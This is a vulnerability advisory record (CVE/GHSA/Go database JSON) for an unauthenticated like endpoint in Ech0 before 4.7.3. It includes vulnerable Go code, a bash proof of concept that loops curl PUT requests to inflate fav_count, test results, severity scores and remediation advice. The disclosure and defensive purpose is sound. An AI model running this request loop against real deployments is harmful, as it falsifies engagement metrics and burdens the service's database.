{"id":"CVE-2026-79668","aliases":["CVE-2026-79668","GHSA-rgj7-vg8v-j4wr","GO-2026-5623"],"related":[],"kind":"vulnerability","state":"published","title":"Ech0 before 4.7.3 Unauthenticated Like Endpoint Metric Inflation","summary":"Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Ech0 before 4.7.3 contains an authentication bypass vulnerability in the PUT /api/echo/like/:id endpoint that allows unauthenticated attackers to increment engagement metrics without identity verification or rate limiting. Attackers can send repeated requests to arbitrarily inflate the fav_count field for any known echo identifier, compromising the integrity of engagement metrics and social ranking systems.","source":"cvelist"},{"lang":"en","text":"### Summary\n\n**No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** CSRF tokens. A remote client can **arbitrarily inflate** like metrics with repeated requests.\n\n### Description\n\n**Root cause:** The like endpoint is explicitly public (`PublicRouterGroup`). `LikeEcho` in the service layer only runs a repository increment inside a transaction—no viewer/user binding.\n\n**Security boundary that fails:** **Integrity** of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.\n\n**Exploitation:** Discover or guess a public echo UUID (timeline, API, share link) → send **unauthenticated** `PUT` repeatedly → **`fav_count`** increases linearly.\n\n### Affected files\n\n| Public route registration | `internal/router/echo.go` |\n| Like mutation (no auth check) | `internal/service/echo/echo.go` |\n| Handler | `internal/handler/echo/echo.go` |\n\n### Vulnerable / relevant code\n\n**Public PUT route:**\n\n```11:13:Ech0/internal/router/echo.go\n\t// Public\n\tappRouterGroup.PublicRouterGroup.PUT(\"/echo/like/:id\", h.EchoHandler.LikeEcho())\n\tappRouterGroup.PublicRouterGroup.GET(\"/tags\", h.EchoHandler.GetAllTags())\n```\n\n**Service does not use viewer / rate limit:**\n\n```244:248:Ech0/internal/service/echo/echo.go\nfunc (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {\n\treturn echoService.transactor.Run(ctx, func(txCtx context.Context) error {\n\t\treturn echoService.echoRepository.LikeEcho(txCtx, id)\n\t})\n}\n```\n\n### Execution flow\n\n1. Client resolves `ECHO_ID` (e.g. `GET /api/echo/page` with any valid token, or from UI).\n2. Client sends **`PUT /api/echo/like/{ECHO_ID}`** with **no** `Authorization` header.\n3. Gin matches **public** route → handler → `EchoService.LikeEcho` → DB increments **`fav_count`**.\n4. Repeat N times → count increases by N.\n\n### Proof of concept\n\n```bash\nBASE=\"http://127.0.0.1:6277\"\n\nOWNER_TOKEN=$(curl -sS -X POST \"$BASE/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"owner\",\"password\":\"OwnerPass123\"}' | jq -r '.data')\n\nECHO_ID=$(curl -sS \"$BASE/api/echo/page?page=1&page_size=1\" \\\n  -H \"Authorization: Bearer $OWNER_TOKEN\" | jq -r '.data.items[0].id')\n\n# Single unauthenticated like\ncurl -sS -w \"\\nHTTP:%{http_code}\\n\" -X PUT \"$BASE/api/echo/like/$ECHO_ID\"\n\n# Inflate (e.g. 55 times); expect HTTP 200 each time\nfor i in $(seq 1 55); do\n  curl -sS -o /dev/null -w \"%{http_code}\\n\" -X PUT \"$BASE/api/echo/like/$ECHO_ID\"\ndone\n\n# Observe fav_count\ncurl -sS \"$BASE/api/echo/$ECHO_ID\" | jq '.data | {id, fav_count}'\n```\n\n**Observed proof (manual test):**\n\n- Each unauthenticated `PUT` returned **HTTP `200`** with success JSON (e.g. `点赞Echo成功`, `code:1`).\n- **`fav_count`** increased to **113** , demonstrating **linear inflation from one client** with **no authentication**.\n<img width=\"1109\" height=\"188\" alt=\"Screenshot 2026-04-01 105522\" src=\"https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c\" />\n\n\n### Impact\n\n**Like counts and ranking/social proof** can be falsified; feeds or “popular” logic tied to `fav_count` are untrustworthy. \nhigh-volume loops add DB write load; possible abuse against availability at scale. \n\n**Attacker capability:** Anyone on the network can manipulate **public** engagement metrics for any known echo id. Combined with permissive **CORS** browsers could automate cross-origin requests.\n\n## Remediation \n Require authentication for likes and enforce **one like per principal**, **or** keep anonymous likes but add **rate limiting**, **proof-of-work / captcha**, or **signed tokens** tied to anon sessions; document that counts are **not** auditor-grade metrics.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation in github.com/lin-snow/ech0","format":"markdown","source":"go"}],"published":"2026-05-07T21:21:21.000Z","modified":"2026-08-31T20:38:54.340Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-306","CWE-862"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"4.7.3","status":"affected"},{"type":"semver","version":"4.7.3","status":"unaffected"}],"vendor":"lin-snow","product":"Ech0","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.4.8-0.20260503040728-a7e8b8e84bd1"}],"ecosystem":"Go","package":"github.com/lin-snow/ech0","purl":"pkg:golang/github.com/lin-snow/ech0","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.4.8-0.20260503040728-a7e8b8e84bd1"}],"ecosystem":"Go","package":"github.com/lin-snow/ech0","purl":"pkg:golang/github.com/lin-snow/ech0","source":"go"}],"references":[{"url":"https://github.com/lin-snow/Ech0/security/advisories/GHSA-rgj7-vg8v-j4wr","tags":["advisory","vendor-advisory","web"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://www.vulncheck.com/advisories/ech0-before-unauthenticated-like-endpoint-metric-inflation","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/lin-snow/Ech0/commit/a7e8b8e84bd1e3db090dfb720f2c6c433356b442","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/lin-snow/Ech0","tags":["package"],"sources":["ghsa"]}],"credits":["VashuVats"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-08-26T15:58:43.890Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-79668","url":"https://www.cve.org/CVERecord?id=CVE-2026-79668","licence":"CVE Terms of Use","modified":"2026-08-26T16:11:48.745Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rgj7-vg8v-j4wr","url":"https://github.com/advisories/GHSA-rgj7-vg8v-j4wr","licence":"CC-BY-4.0","modified":"2026-08-27T04:10:42.343Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5623","url":"https://pkg.go.dev/vuln/GO-2026-5623","licence":"CC-BY-4.0","modified":"2026-08-27T04:10:42.343Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-79668","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79668","licence":"Public domain","modified":"2026-08-31T20:38:54.340Z"}],"updatedAt":"2026-11-25T22:59:35.142Z","epss":{"score":0.00256,"percentile":0.18435,"date":"2026-12-01T12:00:22.000Z"}}